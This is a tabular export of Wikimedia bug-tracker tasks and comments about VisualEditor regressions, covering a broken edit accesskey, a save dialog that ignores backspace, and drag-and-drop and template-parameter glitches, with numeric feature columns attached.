+**Severity**: major",High,80.0,1372926360,1373051656.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+231333,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),*** Bug 50817 has been marked as a duplicate of this bug. ***,,,1373077734,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231326,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),Merged into master; we hope to deploy this soon.,,,1373051656,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+231319,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"Change 72068 merged by jenkins-bot:
+mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message
+
+https://gerrit.wikimedia.org/r/72068",,,1373048824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+231313,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"Change 72068 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message
+
+https://gerrit.wikimedia.org/r/72068",,,1373004195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+231306,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),Confirmed.,,,1372970464,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+52722,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Steps to reproduce:
+
+* Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
+* Make any textual change - just add ""Test"" somewhere for example.
+* click ""Save Page""
+* Adding a reason doesn't matter. Just click to close the save page popup.
+* Immediately open it again (Don't click anywhere else)
+* Try to add a text as the reason, then press backspace or delete what you just added.
+
+For some reason delete and backspace won't work anymore. My guess is that the backspace is send to the editing canvas instead of the textbox - try the following steps as well:
+
+* (Do all the steps from the first section)
+* Press ""Review Your changes"".
+* Wait for the review to load, then press ""Return To Save"", and close the resulting form.
+* Now click the search block (In mono) and enter a random search criteria.
+* Once entered, try to remove it again.
+
+What happens for me: Entering data in the search box works fine, but pressing backspace somehow causes text to be removed from the article, instead of the search box i was just typing in.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49569",High,80.0,1372923300,1381187020.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-uxrck24is2ussi4ctgr2,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+231175,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"The (re)fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187020,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+231171,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Change 81876 merged by jenkins-bot:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1381186911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231168,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"At bug 53332 comment 0 Elias Hedberg notes that he encountered this bug while using Chrome 29.0.1547.57 running in OS X 10.6.8
+
+Previously this seems only to have been encountered in Firefox. Will that affect the pending patch at all?",,,1379954053,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+231165,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,*** Bug 53332 has been marked as a duplicate of this bug. ***,,,1379953641,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231162,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"BeroBurns at en.wp today reported experiencing this bug:
+""The save form does not allow for a keyboard backspace or to highlight text using Shift+Arrows. The only way to edit your description of the changes is to highlight the words you wish to replace with the mouse and retype.""
+
+I personally haven't encountered it since my comment above though.
+
+What is the current state, it's had a patch waiting for review nearly 20 days and is still targetted for the release a month ago yesterday?",,,1379924128,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+231158,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Change 81876 had a related patch set uploaded by Jforrester:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1378325627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231151,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I do have popups, hotcat and section edit link for the lead section installed. Plus a couple of other things a conversation on the feedback page the other day established as being on by default.
+
+I tried to reproduce this when logged out, and couldn't.
+I then logged back in and tried to reproduce it and again I couldn't, even with no changes to gadgets. I didn't try to replicate the exact edit I made though.
+
+Earlier on today was the first time in a while I had experienced it though, which suggests to me that there is probably something more complicated behind when this happens and when it doesn't. I'll do some more detailed testing when I next get time, as it's too perplexing for 1:30am!",,,1377909365,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0
+231142,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #12)
+> (In reply to comment #11)
+> > 
+> > With what browser?
+> 
+> I encountered it using Firefox 23 on linux, Tathbelin didn't note it in their
+> report but I'll ask.
+> 
+> Sorry
+
+OK, well, it works fine for me on enwiki right now in Firefox 23 on Mac and on Linux (doing the ^, the <, the Esc and the ""return to save form"" ways of bailing). This is perplexing. Do you have some odd gadgets loaded - does it still occur if you switch all gadgets off?",,,1377908358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1
+231134,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #11)
+> 
+> With what browser?
+
+I encountered it using Firefox 23 on linux, Tathbelin didn't note it in their report but I'll ask.
+
+Sorry",,,1377906476,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+231126,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #9)
+> I've just experienced this in my sandbox making this edit:
+> https://en.wikipedia.org/w/index.
+> php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997
+> (testing for bug 52399)
+> 
+> In this case the series of actions was:
+> 1. Make some edits
+> 2. Review changes
+> 3. Return to editing surface (I can't remember whether I went direct using ^
+> or via the save form using <)
+> 4. make some more edits
+> 5. add an edit summary
+> 6. review changes
+> 7. return to save orm
+> 8. attempt to amend edit summary, but encounter this bug
+
+With what browser?",,,1377899641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+231115,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Nearly simultaneously with my writing the above comment, en.wp user Tathbelin reported on the VE feedback page:
+
+""I had the Problem that while I was writing my Change Summary after editing the page I wasn't able to delete what I had previously written i.e. couldn't use delete or backspace.""
+
+The edit in question was likely https://en.wikipedia.org/w/index.php?title=Henning_Wehn&diff=570856495&oldid=565884244",,,1377898123,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+231105,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I've just experienced this in my sandbox making this edit:
+https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997 (testing for bug 52399)
+
+In this case the series of actions was:
+1. Make some edits
+2. Review changes
+3. Return to editing surface (I can't remember whether I went direct using ^ or via the save form using <)
+4. make some more edits
+5. add an edit summary
+6. review changes
+7. return to save orm
+8. attempt to amend edit summary, but encounter this bug",,,1377896367,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+231096,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"I believe that this is now fixed, having followed Chris's very helpful steps to reproduce in bug 52733 comment 1 - tested in Safari, Chrome and Firefox latest on Mac just now against wmf14 as deployed on the Wikipedias right now. Marking as such.
+
+If you can re-produce, please feel free to re-open.",,,1377833711,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+231088,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,*** Bug 52733 has been marked as a duplicate of this bug. ***,,,1377833584,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231081,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,I updated the summary per comment 5.,,,1373434182,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+231077,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,I think there is no connection with ULS for this bug. The bug exists at ml.wikipedia where no ULS is installed at present.,,,1373424566,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+231073,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"As per comment 2 and comment 3, changing the component back to VE.",,,1373263596,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+231069,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"(In reply to comment #2)
+> Open the the dialog for entering reason? It disappears after I click ""Save
+> Page"". How do I open it again?
+
+A bit more precise:
+0) Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
+1) Make any textual change - just add ""Test"" somewhere for example.
+2) Click ""Save Page""
+3) Now, the save page box titled ""Save your changes"" should pop up.
+4) Close that box by clicking the ^ icon in the top right of that box.
+
+Now, you should be where you started at step 2
+
+5) Repeat steps 2 and 3
+6) Try to add a text as the reason, then press backspace to delete what you just
+added.",,,1373203660,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+231065,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"By default input method from ULS is disabled in en.wikipedia.org. ie by default it does not do anything on textareas.
+
+Even if it is enabled, there is no input method for English except IPA which optional. 
+
+So in the case of the above bug, before mapping it to ULS component, please tell us whether input method was activated from the cog icon in the languages menu. Also let us know whether you were using IPA.
+
+If this is not the case, the component is not ULS.
+
+(In reply to comment #0)
+> Steps to reproduce:
+> 
+> * Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
+> * Make any textual change - just add ""Test"" somewhere for example.
+> * click ""Save Page""
+> * Adding a reason doesn't matter. Just click to close the save page popup.
+> * Immediately open it again (Don't click anywhere else)
+
+Open the the dialog for entering reason? It disappears after I click ""Save Page"". How do I open it again?",,,1373199167,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+231059,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Yes, this is a really horrible problem that we've narrowed-down to be related to ULS's munging of <textarea>s in Firefox (and possibly other browsers?). Referring to them.",,,1373159168,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uxrck24is2ussi4ctgr2,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+52721,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"(Tested on Firefox 22, Monobook skin)
+
+Steps to reproduce
+
+- Go to the ""The Damned Thing (short story)"" page and edit it with the visual editor.
+- Go to the ""Gothic elements"" selection, and select all the text from ""Gothic elements"" (Header) to ""inadequate."" (Last word of the section). This should also select the image.
+- Click and drag the entire section, and drop it of before the ""Analysis"" section (Just drop it right before the A in that word, make sure the text entry | is displayed. The image itself will be gone. But for the fun part: Click anywhere on the editing canvas text.
+
+Suddenly, your entire input screen will be white. What seems to happen is that the image is blanked (Replaced by a white square) and plastered full size all over the page. You can try to drag it away, but each time you try it will replace itself over the pages content.
+
+https://en.wikipedia.org/wiki/File:Visual_Editor_-_Giant_White_Image.png contains a screenshot of the problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50643",High,80.0,1372922700,1375772188.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-a2cttzysu3oh2p7i6yls,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0
+231019,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Chris: Good catch, thanks for finding that!
+
+*** This bug has been marked as a duplicate of bug 50643 ***",,,1375772188,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+231016,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,I think this duplicates bug 50643,,,1375716716,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+231011,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Drag and drop is disabled for only text content, however drag and drop is allowed (in monobook) when an image and something else are selected, and the result is nasty.",,,1374476411,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+231006,VisualEditor: Prevent drag and drop of non-media content using monobook skin in Firefox,"Drag and drop should be disabled, but cant find the bug for it.
+
+I cant reproduce the problem at the mentioned page on Firefox 22 (Win or Linux) using Vector, but goodness me I can reproduce this when I use monobook skin.
+
+https://en.wikipedia.org/wiki/The_Damned_Thing_%28short_story%29?veaction=edit
+
+(page hasnt changed since the bug was raised :/)",,,1374475185,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-a2cttzysu3oh2p7i6yls,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+52717,VisualEditor: Transclusion dialog doesn't account for aliases when preventing duplicate entries from being added,"Note that this is not the same as bug 50715. Though they behave the same from the user point of view, bug 50715 is for a case where aliases are not in play.
+
+e.g. given our Unsigned template with parameter ""user"", ""timestamp"" and aliases ""1"" and ""2"" respectively.
+
+Having added ""mw.log('addParameterSearch-select', name, names);"" to ve.ui.MWTransclusionDialog#getTemplatePage in the select event handler of the addParameterSearch object; editing the following invocations:
+
+ case {{Unsigned|Foo|April 1}}
+ case {{Unsigned|1=Foo|2=April 1}}
+    typing ""1""
+    >  addParameterSearch-select null [""1"", ""2""]
+    >  addParameterSearch-select ""user"" [""1"", ""2""]
+    > ""Add"" is enabled
+    typing ""user""
+    >  addParameterSearch-select null [""1"", ""2""]
+    >  addParameterSearch-select ""user"" [""1"", ""2""]
+    > ""Add"" is enabled
+
+ case {{Unsigned|user=Foo|timestamp=April 1}}
+    typing ""1""
+    >  addParameterSearch-select null [""date"", ""user""]
+    >  addParameterSearch-select 1 [""date"", ""user""]
+    > ""Add"" is enabled
+    typing ""user""
+    >  addParameterSearch-select null [""date"", ""user""]
+    >  addParameterSearch-select null [""date"", ""user""] 
+    > ""Add"" is disabled
+
+The latter case actually works as expected, although it is odd that the value given to the select callback is null and not ""user"" and that the button is already disabled (probably by the select widget?).
+
+Also weird that the callback is constantly triggered twice, once for null and once for the actual value.
+
+Anyway, the solution is to resolve the names to their alias origins before doing the names.indexOf( name ) check.
+
+--------------------------
+**Version**: unspecified
